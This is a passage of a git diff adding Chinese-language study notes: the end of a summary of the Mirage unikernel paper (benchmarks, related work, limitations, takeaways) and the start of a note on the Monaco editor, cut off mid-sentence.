压力,定时器抖动也更低——因为**没有用户态/内核态 syscall 边界**。 + +## 实验数据速览 + +### 启动时间 + +| 场景 | 结果 | +|------|------| +| Mirage vs 最小 Linux 内核 | 接近,均快于 Debian+Apache | +| 异步 Xen toolstack 并行建域 | **Mirage < 50 ms** 可响应网络 | + +内存越大,Mirage 启动时间里「建域」占比越高(大内存时约 60%),但绝对时间仍极短。 + +### 网络 + +- Ping flood 72 小时:Mirage ICMP 延迟比 Linux 高 **4–10%**(类型安全开销),但稳定 +- iperf TCP(关闭硬件 offload):Mirage→Linux ~975 Mbps,Linux→Mirage ~1742 Mbps;**均可跑满千兆** +- 接收更快(无用户态拷贝);发送 CPU 开销略高 + +### 存储 + +- 随机读 SSD:Mirage 与 Linux **direct I/O** 相当(~1.6 GB/s) +- Linux **buffered I/O** plateau ~300 MB/s——对自管缓存的 appliance,省掉内核页缓存反而是特性 + +### DNS(§4.2 flagship) + +| 实现 | 镜像体积 | 吞吐(约) | +|------|----------|------------| +| BIND 9 on Linux | 462 MB | 55 kq/s | +| NSD on Linux | — | 70 kq/s | +| Mirage DNS | **183.5 kB** | **75–80 kq/s**(加 memo 后) | + +论文还用 **C + MiniOS + lwIP** 移植 NSD,性能远低于 Mirage——说明「嵌入式 C 库 + libOS」路径脆弱,不如一门语言贯通栈。 + +### 活跃代码行数(§4.5) + +Mirage appliance 活跃 LoC 比 Linux 等价部署**少一个数量级**;whole-program optimization + dead-code elimination 是体积骤降的主因之一。 + +## 与相关工作的位置 + +| 系统 | 关系 | +|------|------| +| **Exokernel / Nemesis** | LibOS 前辈;unikernel 借 hypervisor 避开硬件移植地狱 | +| **Drawbridge** | Windows 7 libOS;unikernel **放弃桌面 POSIX 兼容**,专注云服务 | +| **Singularity** | 单地址空间 + 类型安全;unikernel 在**商品云 Xen** 上验证 | +| **Libra (JVM on Xen)** | 仍依赖独立 Linux VM 做网络/存储;unikernel **协议栈内嵌** | +| **Xen (Barham 2003)** | 提供 paravirtual 设备与隔离;unikernel 的直接底座 | +| **L4 微内核** | 不同路线:极简内核 + 用户态 server;unikernel 连「内核」都省略 | + +## 局限与后续演进 + +论文坦诚的 trade-off: + +- **语言绑定**:Mirage 1.0 深度绑定 OCaml,生态小众;重写 TCP 工程量巨大 +- **无 POSIX**:不能 `exec` 现成二进制;互操作靠**网络协议**或**多 VM 消息传递** +- **单地址空间**:一个 bug 可能拖垮整个 appliance(靠类型安全 + sealing 缓解,非银弹) +- **堆预分配**:动态内存需求难预测的服务不友好 +- **sealing 需 Xen 补丁**:无补丁时少一层防御 + +此后 MirageOS 支持 **solo5、KVM** 等更多目标;生态出现 **IncludeOS (C++)**、**Nanos unikernel**、**Unikraft** 等多语言方案。论文提出的 **「编译期专用化 + 密封部署」** 仍是理解现代轻量运行时与 serverless 基础设施的钥匙。 + +## 读懂这篇论文,你应该带走 + +1. **云 VM 已是 appliance,镜像却还假装通用机**——specialization 应发生在**编译链接**,不是运维脚本。 +2. **Hypervisor = 稳定硬件抽象层**,让 LibOS 不必重走 Exokernel 的驱动泥潭。 +3. **配置进类型系统**(OCaml 库链接)比 `/etc` 脚本更可验证、更可裁剪。 +4. **安全来自纵深**:裁剪 → 类型安全 → sealing → 编译期 ASLR;单点不迷信。 +5. **性能**:DNS 快 45% vs BIND、镜像小 2000×、冷启动 < 50ms——类型安全栈可以**同时**赢体积、启动与安全,不必神话 C 内核。 + +## 延伸阅读 + +- [MirageOS 官网与论文列表](https://mirage.io/papers) +- [Xen and the Art of Virtualization (SOSP 2003)](./xen-2003.md) — unikernel 脚下的 hypervisor +- [L4 微内核构造 (SOSP 1995)](./l4-microkernel-1995.md) — 另一条「内核极简」路线 +- Madhavapeddy 后续 CACM 短文:*Unikernels: Rise of the Virtual Library Operating System* +- 实践:[`openmirage.org`](https://mirage.io) 上自托管的 wiki、博客、DNS 均跑在 Mirage unikernel 上(论文 §3.5) + +--- + +*学习笔记基于 ASPLOS '13 原文与 Mirage 项目公开资料整理,面向零基础读者;代码示例综合论文 Figure 3–4 与现代 MirageOS 惯用写法,便于理解机制而非复制粘贴生产配置。* diff --git a/src/content/docs/papers/monaco-editor-2016.md b/src/content/docs/papers/monaco-editor-2016.md new file mode 100644 index 000000000..00847edbd --- /dev/null +++ b/src/content/docs/papers/monaco-editor-2016.md @@ -0,0 +1,292 @@ +--- +title: "Monaco Editor: VS Code's Editor as a Library — 把桌面 IDE 编辑器搬进网页" +来源: https://microsoft.github.io/monaco-editor/ +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:发动机 vs 整车 + +想象你要在自家网站里放一个「能写代码的输入框」。最土的做法是 `